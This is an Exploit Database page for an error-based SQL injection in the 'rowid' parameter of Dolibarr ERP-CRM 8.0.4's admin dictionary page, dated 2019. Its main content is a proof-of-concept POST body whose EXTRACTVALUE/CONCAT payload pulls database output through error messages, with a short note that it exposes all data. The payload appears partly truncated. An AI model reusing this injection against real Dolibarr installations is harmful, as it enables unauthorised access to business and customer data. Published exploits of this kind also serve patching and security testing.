



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Dolibarr ERP-CRM 8.0.4 - 'rowid' SQL Injection

EDB-ID:

46095

CVE:

N/A

EDB Verified: ✘

Author:

[MEHMET ONDER](#)

Type:

[WEBAPPS](#)

Exploit:   / 

Platform:

[PHP](#)

Date:

2019-01-08

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Title: Dolibarr ERP-CRM 8.0.4 - 'rowid' SQL Injection
# Date: 08.01.2019
# Exploit Author: Mehmet Önder Key
# Vendor Homepage: https://www.dolibarr.org/
# Software Link:
https://sourceforge.net/projects/dolibarr/files/Dolibarr%20ERP-
CRM/8.0.4/dolibarr-8.0.4.zip
# Version: v8.0.4
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
Dolibarr ERP - CRM is an easy to use ERP and CRM open source software
package (run with a web php server or as standalone software) for
businesses, foundations or freelancers (prospect, invoicing, inventory,
warehouse, order, shipment, POS, members for foundations, bank accounts...)

# Vulnerabilities:
# An attacker can access all data following an un/authorized user login
using the parameter.

# POC - SQLi :

# Parameter: rowid (POST)
# Request URL: http://localhost/doli/htdocs/admin/dict.php?id=16

# Type : Error Based
actionmodify=Modify&button_removefilter=Remove
filter&button_search=Search&code=PL_NONE&entity=&from=&libelle=None&page=0&po
AND EXTRACTVALUE(6385,CONCAT(0x5c,0x716b717871,(SELECT
(ELT(6385=6385,1))),0x7176787171)) AND
'%='&search_code=94102&token=$2y$10$KhKjYSBlkY24Xl8v.d0ZruN98LAF0AZ5a5dzi4Lx
```

Tags: [SQL Injection \(SQLi\)](#)Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.